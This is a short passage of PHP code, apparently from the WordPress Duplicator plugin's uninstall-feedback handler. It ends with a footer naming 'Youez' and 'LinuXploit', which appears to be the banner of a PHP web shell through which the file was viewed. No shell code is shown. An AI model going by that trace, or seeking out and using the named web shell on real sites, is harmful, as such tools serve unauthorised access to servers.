        } catch (Exception $ex) {
            echo $ex->getMessage();
        }
        exit;
    }

}

add_action('wp_ajax_duplicator_submit_uninstall_reason_action', 'duplicator_submit_uninstall_reason_action');

Youez - 2016 - github.com/yon3zu
LinuXploit